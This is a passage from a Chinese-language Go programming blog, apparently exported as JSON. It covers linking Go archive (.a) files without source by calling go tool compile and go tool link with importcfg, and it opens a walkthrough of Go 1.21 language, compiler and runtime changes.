build不支持在无源码情况下链接.a，那么我们只能绕过go build了！\n2. 绕过go bulid 认真读过《Go语言精进之路vo1》一书的朋友都会知道：go build实质是调用go tool compile和go tool link两个命令来完成go应用的构建过程的，使用go build -x -v可以查看到go build的详细构建过程。\n接下来，我们就来扮演一下”go build”，以手动的方式分别调用go tool compile和go tool link，看看是否能达到无需依赖包源码就能成功构建的目标。\n我们以foo.a这个自身没有外部依赖的go archive为例，用手动方式构建一下app-link-foo这个工程。\n首先确保通过-buildmode=archive构建出的foo.a被正确放入library/github.com/bigwhite下面。\n接下来，我们通过go tool compile编译一下app-link-foo：\n$cd app-link-foo $go tool compile -I /Users/tonybai/Go/src/github.com/bigwhite/experiments/build-with-archive-only/library -o main.o main.go 我们看到：手动执行go tool compile在通过-I传入依赖库的.a文件时是可以正常编译出object file(目标文件)的。go tool compile的手册告诉我们-I选项为compile提供了搜索包导入路径的目录：\n$go tool compile -h ... ... -I directory add directory to import search path ... ... 接下来我们用go tool link将main.o和foo.a链接在一起形成可执行二进制文件main：\n$cd app-link-foo $go tool link -L /Users/tonybai/Go/src/github.com/bigwhite/experiments/build-with-archive-only/library -o main main.o 通过go tool link并在-L传入foo.a的链接路径的情况下，我们成功地将main.o和foo.a链接在了一起，形成了最终的可执行文件main。\ngo tool link的-L选项为link提供了搜索.a的路径：\n$go tool link -h ... ... -L directory add specified directory to library path ... ... 执行一下编译链接后的二进制文件main，我们将看到与预期相同的输出结果：\n$./main invoke foo.Add 11 有些童鞋在执行go tool compile时可能会遇到找不到fmt.a或fmt.o的错误！这是因为Go 1.20版本及以后，Go安装包默认将不会在\\$GOROOT/pkg/\\$GOOS_\\$GOARCH下面安装标准库的.a文件集合，这样go tool compile在这个路径下面就找不到app-link-foo所依赖的fmt.a：\n➜ /Users/tonybai/.bin/go1.20/pkg git:(master) ✗ $ls darwin_amd64/ include/ tool/ ➜ /Users/tonybai/.bin/go1.20/pkg git:(master) ✗ $cd darwin_amd64 ➜ /Users/tonybai/.bin/go1.20/pkg/darwin_amd64 git:(master) ✗ $ls 解决方法也很简单，那就是手动执行下面命令编译和安装一下标准库的.a文件：\n$GODEBUG=installgoroot=all go install std ➜ /Users/tonybai/.bin/go1.20/pkg/darwin_amd64 git:(master) ✗ $ls archive/ database/ fmt.a index/ mime/ plugin.a strconv.a time/ bufio.a debug/ go/ internal/ mime.a reflect/ strings.a time.a bytes.a embed.a hash/ io/ net/ reflect.a sync/ unicode/ compress/ encoding/ hash.a io.a net.a regexp/ sync.a unicode.a container/ encoding.a html/ log/ os/ regexp.a syscall.a vendor/ context.a errors.a html.a log.a os.a runtime/ testing/ crypto/ expvar.a image/ math/ path/ runtime.a testing.a crypto.a flag.a image.a math.a path.a sort.a text/ 这样无论是go tool compile，还是go tool link都会找到对应的标准库包了！\n在这个例子中，foo.a仅依赖标准库，没有依赖第三方库，这样相对简单一些。通常合作伙伴提供的.a中的包都是依赖第三方的包的，下面我们就来看看如果.a有第三方依赖，上面的编译链接方法是否还能奏效！\n3. 要链接的.a文件自身也依赖第三方包 goarchive-with-deps目录下的bar.a就是一个自身也依赖第三方包的go archive文件，它依赖的是uber的zap日志包以及zap包的依赖链，下面是bar的go.mod文件的内容：\n// goarchive-with-deps/go.mod module github.com/bigwhite/bar go 1.20 require go.uber.org/zap v1.25.0 require go.uber.org/multierr v1.10.0 我们先来安装app-link-foo的思路来编译链接一下app-link-bar：\n$cd app-link-bar $make go tool compile -I /Users/tonybai/Go/src/github.com/bigwhite/experiments/build-with-archive-only/library -o main.o main.go go tool link -L /Users/tonybai/Go/src/github.com/bigwhite/experiments/build-with-archive-only/library -o main main.o /Users/tonybai/.bin/go1.20/pkg/tool/darwin_amd64/link: cannot open file /Users/tonybai/.bin/go1.20/pkg/darwin_amd64/go.uber.org/zap.o: open /Users/tonybai/.bin/go1.20/pkg/darwin_amd64/go.uber.org/zap.o: no such file or directory make: *** [all] Error 1 上面报的错误符合预期，因为zap.a尚没有放入build-with-archive-only/library下面。接下来我们基于uber zap的源码构建出一个zap.a并放入指定目录。bar.a依赖的uber zap的版本为v1.25.0，于是我们git clone一下uber zap，checkout出v1.25.0并执行构建：\n$cd go/src/go.uber.org/zap $go build -o zap.a -buildmode=archive . $cp zap.a /Users/tonybai/Go/src/github.com/bigwhite/experiments/build-with-archive-only/library/go.uber.org/ 再来编译一下app-link-bar：\n$make go tool compile -I /Users/tonybai/Go/src/github.com/bigwhite/experiments/build-with-archive-only/library -o main.o main.go go tool link -L /Users/tonybai/Go/src/github.com/bigwhite/experiments/build-with-archive-only/library -o main main.o /Users/tonybai/.bin/go1.20/pkg/tool/darwin_amd64/link: fingerprint mismatch: go.uber.org/zap has b259b1e07032c6d9, import from github.com/bigwhite/bar expecting 8118f660c835360a make: *** [all] Error 1 我们看到go tool link报错，提示“fingerprint mismatch”。这个错误的意思是bar.a期望的zap包的指纹与我们提供的在Library目录下的zap包的指纹不一致！\n我们重新用go build -v -x来看一下bar.a的构建过程：\n$go build -x -v -o bar.a -buildmode=archive WORK=/var/folders/cz/sbj5kg2d3m3c6j650z0qfm800000gn/T/go-build3367014838 github.com/bigwhite/bar mkdir -p $WORK/b001/ cat \u0026gt;/var/folders/cz/sbj5kg2d3m3c6j650z0qfm800000gn/T/go-build3367014838/b001/importcfg \u0026lt;\u0026lt; 'EOF' # internal # import config packagefile fmt=/Users/tonybai/Library/Caches/go-build/d3/d307b52dabc7d78a8ff219fb472fbc0b0a600038f43cd4c737914f8ccbd2bd70-d packagefile go.uber.org/zap=/Users/tonybai/Library/Caches/go-build/00/006d48e40c867a336b9ac622478c1e5bf914e6a5986f649a096ebede3d117bba-d EOF cd /Users/tonybai/Go/src/github.com/bigwhite/experiments/build-with-archive-only/goarchive-with-deps /Users/tonybai/.bin/go1.20/pkg/tool/darwin_amd64/compile -o $WORK/b001/_pkg_.a -trimpath \u0026quot;$WORK/b001=\u0026gt;\u0026quot; -p github.com/bigwhite/bar -lang=go1.20 -complete -buildid mIMNOXMPJH00mEpw6WVc/mIMNOXMPJH00mEpw6WVc -goversion go1.20 -c=4 -nolocalimports -importcfg $WORK/b001/importcfg -pack ./bar.go /Users/tonybai/.bin/go1.20/pkg/tool/darwin_amd64/buildid -w $WORK/b001/_pkg_.a # internal cp $WORK/b001/_pkg_.a /Users/tonybai/Library/Caches/go-build/60/604b60360d384c49eb9c030a2726f02588f54375748ce1421e334bedfda2af47-d # internal mv $WORK/b001/_pkg_.a bar.a rm -r $WORK/b001/ 我们看到在编译bar.a的过程中，go tool compile用的是-importcfg来得到的go.uber.org/zap的位置，而从打印的内容来看，go.uber.org/zap指向的是go module cache中的某个文件：packagefile go.uber.org/zap=/Users/tonybai/Library/Caches/go-build/00/006d48e40c867a336b9ac622478c1e5bf914e6a5986f649a096ebede3d117bba-d。\n那是不是在build app-link-bar时也使用这个同样的go.uber.org/zap就可以成功通过go tool link的过程呢？我们来试一下：\n$cd app-link-bar $make build-with-importcfg go tool compile -importcfg import.link -o main.o main.go go tool link -importcfg import.link -o main main.o $./main invoke foo.Add {\u0026quot;level\u0026quot;:\u0026quot;info\u0026quot;,\u0026quot;ts\u0026quot;:1693203940.0701509,\u0026quot;caller\u0026quot;:\u0026quot;goarchive-with-deps/bar.go:14\u0026quot;,\u0026quot;msg\u0026quot;:\u0026quot;invoke bar.Add\\n\u0026quot;} 11 使用-importcfg的确成功的编译链接了app-link-bar，其执行结果也符合预期！注意：这里我们放弃了之前使用的-I和-L，即便应用-I和-L，在与-importcfg联合使用时，go tool compile和link也会以-importcfg的信息为准！\n现在还有一个问题摆在面前，那就是上述命令行中的import.link这个文件的内容是啥，又是如何生成的呢？这里的import.link文件十分“巨大”，有500多行，其内容大致如下：\n// app-link-bar/import.link # import config packagefile internal/goos=/Users/tonybai/Library/Caches/go-build/fa/facce9766a2b3c19364ee55c509863694b205190c504a3831cde7c208bb09f37-d packagefile vendor/golang.org/x/crypto/chacha20=/Users/tonybai/Library/Caches/go-build/e0/e042b43b78d3596cc00e544a40a13e8cd6b566eb8f59c2d47aeb0bbcbd52aa56-d ... ... packagefile github.com/bigwhite/bar=/Users/tonybai/Go/src/github.com/bigwhite/experiments/build-with-archive-only/library/github.com/bigwhite/bar.a packagefile go.uber.org/zap=/Users/tonybai/Library/Caches/go-build/00/006d48e40c867a336b9ac622478c1e5bf914e6a5986f649a096ebede3d117bba-d packagefile go.uber.org/zap/zapcore=/Users/tonybai/Library/Caches/go-build/e0/e0d81701b5d15628ce5bf174e5c1b7482c13ac3a3c868e9b054da8b1596eaace-d packagefile go.uber.org/zap/internal/pool=/Users/tonybai/Library/Caches/go-build/bf/bfa96ebb89429b870e2c50c990c1945384e50d10ba354a3dab2b995a813c56a3-d packagefile go.uber.org/zap/internal=/Users/tonybai/Library/Caches/go-build/33/33cb66c30939b8be915ddc1e237a04688f52c492d3ae58bfbc6196fff8b6b2b5-d packagefile go.uber.org/zap/internal/bufferpool=/Users/tonybai/Library/Caches/go-build/68/68e58338a5acd96ee1733de78547720f26f4e13d8333defbc00099ac8560c8e8-d packagefile go.uber.org/zap/buffer=/Users/tonybai/Library/Caches/go-build/7b/7bf00a1d4a69ddb1712366f45451890f3205b58ba49627ed4254acd9b0938ef8-d packagefile go.uber.org/multierr=/Users/tonybai/Library/Caches/go-build/e7/e7cc278d56fc8262d9cf9de840a04aa675c75f8ac148e955c1ae9950c58c8034-d packagefile go.uber.org/zap/internal/exit=/Users/tonybai/Library/Caches/go-build/18/187b2b490c810f37c3700132fba12b805e74bd3c59303972bcf74894a63de604-d packagefile go.uber.org/zap/internal/color=/Users/tonybai/Library/Caches/go-build/e4/e419c93bea7ff2782b2047cf9e7ad37b07cf4a5a5b7f361bf968730e107a495b-d 这里包含了编译链接app-link-bar是依赖的标准库包、bar.a以及bar包依赖的所有第三方包的实际包.a文件的位置，显然这里用的大多数都是go module cache中的包缓存。\n那么这个import.link如何得到呢？Go在golang.org/x/tools包中有一个importcfg.go文件，基于该文件中的Importcfg函数可以获取标准库相关所有包的package link信息。我将该文件放在了build-with-archive-only/importcfg下了，大家可以自行取用。\nimportcfg生成了大部分package link，但仍会有一些bar.a依赖的第三方的包的link没有着落，go tool link在链接时会报错，根据报错信息中提供的包导入路径信息，比如：找不到go.uber.org/zap/internal/exit、go.uber.org/zap/internal/color，我们可以利用下面go list命令找到这些包的在本地go module cache中的link位置：\n$go list -export -e -f \u0026quot;{{.ImportPath}} {{.Export}}\u0026quot; go.uber.org/zap/internal/exit go.uber.org/zap/internal/color go.uber.org/zap/internal/exit /Users/tonybai/Library/Caches/go-build/18/187b2b490c810f37c3700132fba12b805e74bd3c59303972bcf74894a63de604-d go.uber.org/zap/internal/color /Users/tonybai/Library/Caches/go-build/e4/e419c93bea7ff2782b2047cf9e7ad37b07cf4a5a5b7f361bf968730e107a495b-d 然后可以手工将这些信息copy到import.link中。import.link文件就是在这样自动化+手工的过程中生成的（当然你完全可以自己编写一个工具，获取app-link-bar所需的所有package的link信息）。\n4. 小结 到这里，我们通过hack的方法实现了在没有源码只有.a文件情况下的可执行程序的编译。\n不过上述仅仅是纯技术上的探索，并非标准答案，也更非理想的答案。经过上述探索后，更巩固了我的观点：不要仅使用.a来构建go应用。\n但非要这么做，如果你是.a的提供方，考虑fingerprint mismatch的情况，你估计要考虑在提供.a的同时，还要提供import.link、你构建.a时所有用到的go module cache的副本，并提供安装这些副本到目标主机上的脚本。这样你的.a用户才可能使用相同的依赖版本完成对.a文件的链接过程。\n本文试验的代码都是在Go 1.20版本下编译链接的。如果编译.a的Go版本与编译链接可执行文件的Go版本不同，是否会失败呢？这个问题就当做作业留个大家去探索了！\n本文涉及的代码可以从这里下载。\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/08/30/how-to-build-with-only-archive-in-go/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/how-to-build-with-only-archive-in-go-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/08/30/how-to-build-with-only-archive-in-go\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/08/30/how-to-build-with-only-archive-in-go\"\u003ehttps://tonybai.com/2023/08/30/how-to-build-with-only-archive-in-go\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e上周末，一个Gopher在微信上与我交流了一个有关Go程序编译的问题。他的述求说起来也不复杂，那就是合作公司提供的API包仅包括golang archive(使用go build -buildmode=archive构建的.a文件)，没有Go包的源码。如何将这个.a链接到项目构建出的最终可执行程序中呢？\u003c/p\u003e","title":"编译Go应用的黑盒挑战：无源码只有.a文件，你能搞定吗？"},{"content":"\n本文永久链接 – https://tonybai.com/2023/08/20/some-changes-in-go-1-21\n美国时间2023年8月8日，Go团队在Go官博上正式发布了1.21版本！\n早在今年4月末，我就撰写了文章《Go 1.21新特性前瞻》，对Go 1.21可能引入的新特性、新优化和新标准库包做了粗略梳理。\n在6月初举办的GopherChina 2023大会上，我又以“The State Of Go 2023”为题目给大家分享了Go 1.21版本的当前状态：\n那么以上分享的内容在Go 1.21的正式版中究竟真正落地了没有？Go 1.21正式版中还有哪些在之前的分享资料中未曾介绍的值得注意的变化呢？在这篇系列文章中，我们就来看一看。\n注：从Go 1.21版本开始，Go Release版本的起始版本号(first release of the release family)由Go 1.N改为Go 1.N.0了。Go语言版本号(language version)依旧是Go 1.N，同时Go Release Family的版本号也依然是Go 1.N。\n1. 语言变化 和以往的系列文章一样，我们先来看看语言特性方面有哪些值得注意的变化。\n众所周知，Go语法特性变化甚少，在一些新版本中没有语言特性变化反倒是一种常态。在去年GopherCon 2022大会上，Russ Cox发表“How Go Programs Keep Working”的主题演讲，演讲中Russ Cox就提到：“我们发布Go 1.0版本及兼容性承诺，就是为了停止那种兴奋，以便Go的新版本会变得boring(平淡无奇)”，并且Go team认为boring is good, boring is stable：\n这也意味着在未来Go的演化过程中，Go依旧会保持极少增加语言特性的节奏。\n注：不要认为一门编程语言要保持boring很容易，在这篇文章后面也会提到Go核心团队对如何保持boring(向前向后兼容性)的思考和手段。\nGo 1.21版本中，Go语言特性的变化还是可以的，主要是增加了几个builtin预定义函数、明确了包初始化顺序的算法、增强了泛型的类型推断能力并以实验性选项的方式修正了Go1中的两个容易导致问题的语法语义。接下来，我们就来逐个具体说明一下。\n我们先来看看builtin中预定义函数的变化。\n1.1 min、max和clear builtin包是变更“常客”，最近几个Go版本中，builtin包都有新变化。\n注：builtin包是一个特殊包，里面放置了Go语言预定义的标识符，用户层代码无需也不能导入builtin包。\n在Go 1.21版本中，builtin增加了三个预定义函数：min、max和clear。\n顾名思义，min和max函数分别返回参数列表中的最小值和最大值，它们都是泛型函数，原型如下：\nfunc min[T cmp.Ordered](x T, y ...T) T func max[T cmp.Ordered](x T, y ...T) T 通过原型我们看到，使用这两个函数时，参数的类型要相同，且至少要传入一个参数：\n// lang/min_max.go var x, y int = 5, 6 fmt.Println(max(x)) // 5 fmt.Println(max(x, y, 0)) // 6 fmt.Println(max(\u0026quot;aby\u0026quot;, \u0026quot;tony\u0026quot;, \u0026quot;tom\u0026quot;)) // tony 如果传入的参数的类型不同呢？我们看下面代码：\n// lang/min_max.go var f float64 = 5.6 fmt.Printf(\u0026quot;%T\\n\u0026quot;, max(x, y, f)) // invalid argument: mismatched types int (previous argument) and float64 (type of f) fmt.Printf(\u0026quot;%T\\n\u0026quot;, max(x, y, 10.1)) // (untyped float constant) truncated to int 我们看到：Go 1.21编译器报错，即便是untyped constant，如果类型不同，也会提醒你可能存在值精度的truncated。\nmax和min支持哪些类型呢？通过min和max原型中的类型参数(type parameter)可以看到，其约束类型(constraint)为cmp.Ordered，我们看一下该约束类型的定义：\ntype Ordered interface { ~int | ~int8 | ~int16 | ~int32 | ~int64 | ~uint | ~uint8 | ~uint16 | ~uint32 | ~uint64 | ~uintptr | ~float32 | ~float64 | ~string } 符合Ordered约束的上述这些类型以及衍生类型都可以使用min、max获取最小值和最大值。\n相对于min、max两个函数的简单，新增的clear函数的语义就略复杂一些。在《Go 1.21新特性前瞻》一文中提到过，这里再赘述一下:)\nclear函数的原型如下：\nfunc clear[T ~[]Type | ~map[Type]Type1](t T) 从原型来看，clear的操作对象是切片和map类型，不过其执行语义因依操作的对象类型而异。我们看下面例子：\n// lang/clear.go var sl = []int{1, 2, 3, 4, 5, 6} fmt.Printf(\u0026quot;before clear, sl=%v, len(sl)=%d, cap(sl)=%d\\n\u0026quot;, sl, len(sl), cap(sl)) clear(sl) fmt.Printf(\u0026quot;after clear, sl=%v, len(sl)=%d, cap(sl)=%d\\n\u0026quot;, sl, len(sl), cap(sl)) var m = map[string]int{ \u0026quot;tony\u0026quot;: 13, \u0026quot;tom\u0026quot;: 14, \u0026quot;amy\u0026quot;: 15, } fmt.Printf(\u0026quot;before clear, m=%v, len(m)=%d\\n\u0026quot;, m, len(m)) clear(m) fmt.Printf(\u0026quot;after clear, m=%v, len(m)=%d\\n\u0026quot;, m, len(m)) 这段代码的输出结果如下：\nbefore clear, sl=[1 2 3 4 5 6], len(sl)=6, cap(sl)=6 after clear, sl=[0 0 0 0 0 0], len(sl)=6, cap(sl)=6 before clear, m=map[amy:15 tom:14 tony:13], len(m)=3 after clear, m=map[], len(m)=0 我们看到：\n针对slice，clear保持slice的长度和容量，但将所有slice内已存在的元素(len个)都置为元素类型的零值； 针对map，clear则是清空所有map的键值对，clear后，我们将得到一个empty map。 下面的表格是一个更直观、更泛化的clear函数语义总结：\n注：clear函数在清空map中的键值对时，并未释放掉这些键值所占用的内存。\n1.2 明确了包初始化顺序算法 在Go中，包既是功能单元，也是构建单元，Go代码通过导入其他包来复用导入包的导出功能(包括导出的变量、常量、函数、类型以及方法等)。Go程序启动时，程序会首先将依赖的包按一定顺序进行初始化，但长久以来，Go语言规范并没有明确依赖包初始化的顺序，这可能会导致一些对包初始化顺序有依赖的Go程序在不同Go版本下出现行为的差异。\n为了消除这些可能存在的问题，Go核心团队在Go 1.21中明确了包初始化顺序的算法。\n注：对包的初始化顺序有依赖，这本身就不是一种很好的设计，大家日常编码时应该注意避免。如果你的程序对包的初始化顺序存在依赖，那么升级到Go 1.21时你的程序行为可能会受到影响。\n这个算法比较简单，其步骤如下：\n将所有依赖包按照导入路径排序，放入一个list； 从list中按顺序找出第一个自身尚未初始化，但其依赖包已经全部初始化了的包，然后初始化该包，并将该包从list中删除； 重新执行上面步骤，直到list为空。 再简单的算法，用文字描述都会很抽象晦涩，我们用一个例子来诠释一下。我们建立一个init_order的目录，里面的包之间的依赖关系如下图：\n我们在init_order目录下按上面关系建立对应的包：\n$tree init_order init_order ├── a │ └── a.go ├── c │ └── c.go ├── d │ └── d.go ├── e │ └── e.go ├── f │ └── f.go ├── go.mod ├── main.go └── z └── z.go 我们使用Go 1.21.0运行一下其中的main.go，得到如下结果：\n$go run main.go init c init d init e init f init z init a 这个结果是怎么来的呢？我们根据Go 1.21.0明确后的算法来分析一下，具体分析过程见下图：\n将右侧每一轮选出的包按先后顺序排列一下，就是main.go的依赖包的初始化顺序：c d e f z a。\n我们再用Go 1.20版本运行一下这个示例，得到下面结果：\ninit e init f init z init a init c init d 我们看到这个顺序与Go 1.21版本的完全不同。\n注：我的极客时间专栏《Go语言第一课》的第8讲有对Go入口函数与包初始化次序的更为系统的讲解。\n1.3 type inference的增强 Go 1.21版本对泛型的类型推断能力做了增强。但Go 1.21 Release Notes以及Go spec中对这块的说明都十分晦涩，这里尝试用例子简要直观的说明一下。\n此次的类型推断增强主要包含以下三个方面：\n部分实例化的泛型函数(Partially instantiated generic functions) 我们以下面IndexFunc函数为例，来说明一下这方面的增强：\n// lang/type_inference/partially_instantiated_generic_func.go // 该IndexFunc的实现来自Go 1.21的slices包 func IndexFunc[S ~[]E, E any](s S, f func(E) bool) int { for i := range s { if f(s[i]) { return i } } return -1 } 我们使用上面IndexFunc函数返回一个整型切片中的第一个负数，我们可以这样做：\nfunc negative(n int) bool { return n \u0026lt; 0 } func main() { numbers := []int{0, 42, -10, 8} i := IndexFunc(numbers, negative) fmt.Println(\u0026quot;First negative at index\u0026quot;, i) // First negative at index 2 } IndexFunc是一个泛型函数，它可以操作任意类型切片，于是你可能会想是否可以写一个泛型版的negative函数，这样就可以应对所有数值类型的切片了，比如：\ntype Ordered interface { ~int | ~int8 | ~int16 | ~int32 | ~int64 | ~uint | ~uint8 | ~uint16 | ~uint32 | ~uint64 | ~uintptr | ~float32 | ~float64 | ~string } func negative[T Ordered](n T) bool { var zero T return n \u0026lt; zero } 接下来我们用这个泛型版negative函数作为IndexFunc的参数：\nfunc main() { numbers := []int{0, 42, -10, 8} i := IndexFunc(numbers, negative) fmt.Println(\u0026quot;First negative at index\u0026quot;, i) } 用Go 1.21版本之前的Go编译器运行上述代码，我们会得到如下错误：\n./partially_instantiated_generic_func.go:32:26: cannot use generic function negative without instantiation 也就是说Go 1.21版本之前的Go编译器无法根据对IndexFunc的第二个参数的赋值来推断出参数f的类型实参。要想通过编译器检查，需显式传入类型实参，比如：negative[int]。\nGo 1.21版本对此做了增强，支持在将negative赋值给IndexFunc的第二个参数时，根据IndexFunc的上下文环境(比如：第一个参数中的元素类型)推断出negative的类型实参。\n这种部分实例化的泛型函数的典型应用就是在操作容器类类型的函数中。\n接口赋值推断(Interface assignment inference) 为了解释什么是接口赋值推断，我们也来看一个例子(不要计较例子设计的合理性)：\n// lang/type_inference/interface_assignment_inference.go type Indexable[T any] interface { At(i int) (T, bool) } func Index[T any](elems Indexable[T], i int) (T, bool) { return elems.At(i) } type MyList[T any] []T func (m MyList[T]) At(i int) (T, bool) { var zero T if i \u0026gt; len(m) { return zero, false } return m[i], true } func main() { var m = MyList[int]{11, 12, 13} fmt.Println(Index(m, 2)) } 我们使用Go 1.20版本运行这个示例，将得到下面错误结果：\n$go run interface_assignment_inference.go ./interface_assignment_inference.go:29:24: type MyList[int] of m does not match Indexable[T] (cannot infer T) 我们看到Go 1.20版本无法推断出泛型接口类型Indexable的类型实参。\n但使用Go 1.21版本编译和运行，程序可以成功输出下面结果：\n$go run interface_assignment_inference.go 13 true 在Go 1.21中，类型推断也会考虑接口类型的方法。当一个值被赋值给一个接口时，编译器可以从匹配方法的相应参数类型中推断出接口类型的类型实参。\n对无类型常量的类型推断(Type inference for untyped constants) 我们还是通过一个例子来理解一下：\n// lang/type_inference/untyped_constants_inference.go func Sum[T int | float64](a ...T) T { var sum T for _, v := range a { sum += v } return sum } func main() { fmt.Printf(\u0026quot;%T\\n\u0026quot;, Sum(1, 2, 3.5)) } 示例中的泛型函数Sum支持的类型实参为float64或int，但main函数调用Sum时使用了无类型常量，如果用Go 1.20版本编译器运行这段程序，我们将得到如下结果：\n$go run untyped_constants_inference.go ./untyped_constants_inference.go:14:31: default type float64 of 3.5 does not match inferred type int for T Go 1.20在做类型实参推断时，仅考虑了单个传入的实参，这导致编译器认为3.5这个float64与推断出的int不匹配。\nGo 1.21版本改善了这个推断算法：如果多个不同类型的无类型常量参数（如例子中的一个无类型的 int 和一个无类型的浮点常量）被传递给具有相同类型参数类型的参数，现在类型推断将使用与具有无类型常量操作数的运算符相同的方法来确定类型，而不是报错。这一改进使从无类型常量参数推断出的类型与常量表达式的求值后的类型一致。\n这样，上面的Sum(1,2,3.5)推断出的类型实参的类型与1 + 2 + 3.5这个表达式的求值结果的类型一致，即float64！我们用Go 1.21版本运行一下上述示例程序：\n$go run untyped_constants_inference.go float64 1.4 修正Go1中的“陷阱” Go 1.21是一个“大”版本，这里的“大”并非是指Go 1.21涉及的内容广、变化多，而是指Go 1.21的一些变化的思路对后续版本可能有深远影响。比如Go 1.21就开启了修正Go1中一些语义“陷阱”的工作，并且这些修正可能会带来语义上的不向后兼容。不过这并不违反Go1兼容性承诺，因为在Go1兼容性承诺中，因对buggy语义或行为的修正而导致的对已有代码行为的破坏是允许的。\n下面我们就来看看Go 1.21引入的两个“修正”。\n1.4.1 panic(nil)语义 在Go 1.21中，Go编译器会将panic(nil)替换为panic(new(runtime.PanicNilError))，关于这个语义的变更，我在《Go 1.21新特性前瞻》一文中有详细说明，这里就不赘述了。\n如果你要恢复原先的语义，可以使用GODEBUG=panicnil=1这个功能开关。\n1.4.2 loop var per-loop -\u0026gt; loop var per-iteration Go语言中的循环语句只有for这一种，for range是一种变体，专门用于对切片、数组、map和channel的遍历。\n不过Go的for循环语句，尤其是for range语句有着很容易让程序出现错误的语义，即我们常说的“有坑”。\n注：我的《Go语言精进之路vol1》一书的第19条“了解Go语言控制语句惯用法及使用注意事项”中对for range的“坑”做了系统的梳理并给出了避坑建议。\n下面是一个典型的for range的“坑”的示例：\n// lang/loopvar/loopvar_per_loop.go func main() { var m = [...]int{1, 2, 3, 4, 5} for i, v := range m { go func() { time.Sleep(time.Second * 3) fmt.Println(i, v) }() } time.Sleep(time.Second * 10) } 这个示例意图在每次迭代启动的新的goroutine中输出迭代对应的i和v的值，但实际输出结果是什么呢？我们实际运行一下：\n$go run loopvar_per_loop.go 4 5 4 5 4 5 4 5 4 5 我们看到：goroutine中输出的i、v值都是for range循环结束后的i、v的最终值，而不是各个goroutine启动时的i、v值。这是因为goroutine执行的闭包函数引用了它的外层包裹函数中的变量i、v，这样变量i、v在主goroutine和新启动的goroutine之间实现了共享。\n而i, v值在整个循环过程中是重用的，即仅有一份。在for range循环结束后，i = 4, v = 5，因此各个goroutine在等待3秒后进行输出的时候，输出的是i, v的最终值。\n这里的i和v被称为loop var per loop，即一个循环语句定义一次的变量，等价于下面代码：\n{ var i, v int for i, v = range m { //... ... } } 一种解决这个问题的典型方法是这样的：\n// lang/loopvar/loopvar_per_iteration_classic.go for i, v = range m { i := i v := v //... ... } 我们在每个迭代中用短变量声明重新定义了在这次迭代中使用的i和v，这里的i和v就是loop var per-iteration的了。不过这个方法也存在问题，比如不能解决所有场景下的loop var per-iteration问题，另外就是需要手工创建。\nGo团队决定在Go 1.22版本移除这个“坑”，并在Go 1.21版本中以实验语义(GOEXPERIMENT=loopvar)提供了默认采用loop var per-iteration语义的for循环(包括for range)。新语义仅在GOEXPERIMENT=loopvar且在for语句(包括for range)的前置条件表达式中使用短变量声明循环变量时才生效。\n下面是for range的新语义的示例：\n// lang/loopvar/loopvar_per_iteration.go package main import ( \u0026quot;fmt\u0026quot; \u0026quot;time\u0026quot; ) func main() { var m = [...]int{1, 2, 3, 4, 5} for i, v := range m { go func() { time.Sleep(time.Second * 3) fmt.Println(i, v) }() } time.Sleep(time.Second * 10) } 使用新语义运行该示例：\n$GOEXPERIMENT=loopvar go run loopvar_per_iteration.go 2 3 1 2 4 5 0 1 3 4 我们看到，新loopvar语义就相当于我们在每次迭代时手动重新定义i := i和v := v。\n对于经典的3段式for循环语句，新loopvar语义的逻辑略复杂一些，我们用下面这个例子来理解一下：\n// lang/loopvar/classic_for_loop_in_1_21.go func main() { var m = [...]int{1, 2, 3, 4, 5} for i := 0; i \u0026lt; len(m); i++ { go func() { time.Sleep(time.Second * 3) fmt.Println(i, m[i]) }() } time.Sleep(time.Second * 10) } 采用经典的loopvar per loop语义执行上述代码：\n$go run classic_for_loop_in_1_21.go panic: runtime error: index out of range [5] with length 5 goroutine 21 [running]: main.main.func1() /Users/tonybai/Go/src/github.com/bigwhite/experiments/go1.21-examples/lang/loopvar/classic_for_loop_in_1_21.go:14 +0xb6 created by main.main in goroutine 1 /Users/tonybai/Go/src/github.com/bigwhite/experiments/go1.21-examples/lang/loopvar/classic_for_loop_in_1_21.go:12 +0x76 exit status 2 由于各个goroutine通过闭包捕获到同一个i，而该i值在loop结束后为5，因此当以该i作为下标访问数组时，就会出现越界的panic。\n我们再来在新loopvar语义下执行上面代码：\n$GOEXPERIMENT=loopvar go run classic_for_loop_in_1_21.go 2 3 4 5 3 4 0 1 1 2 我们看到了期望输出的结果。下面我使用一段等价代换代码来理解经典for loop的新语义：\nfor i := 0; i \u0026lt; 5; i++ { // 使用i } 在新语义下等价于 for i := 0; i \u0026lt; 5; i++ { i' := i // 使用i' i = i' } 我们看到：新语义相当于Go编译器在每次iteration的前后各插入一行代码，在迭代(iteration)开始处插入i’ := i，然后迭代过程中使用的是i’，而在迭代的末尾则将i’的最新值赋值给i，后续i继续参与到loop是否继续的条件判定以及后置语句的操作中去。\n注：在Go 1.21版本中使用GOEXPERIMENT=loopvar引入的新loopvar语义可能会导致遗留代码出现错误。\n到这里，我们就聊完了语言特性的变化。接下来，我们再来简单看看Go编译器和运行时的主要变化。\n2. Go编译器与运行时 2.1 PGO默认开启 Go 1.20版本引入了PGO(profile-guided optimization)优化技术预览版，Go 1.21版本中，PGO正式GA。如果main包目录下包含default.pgo文件，Go 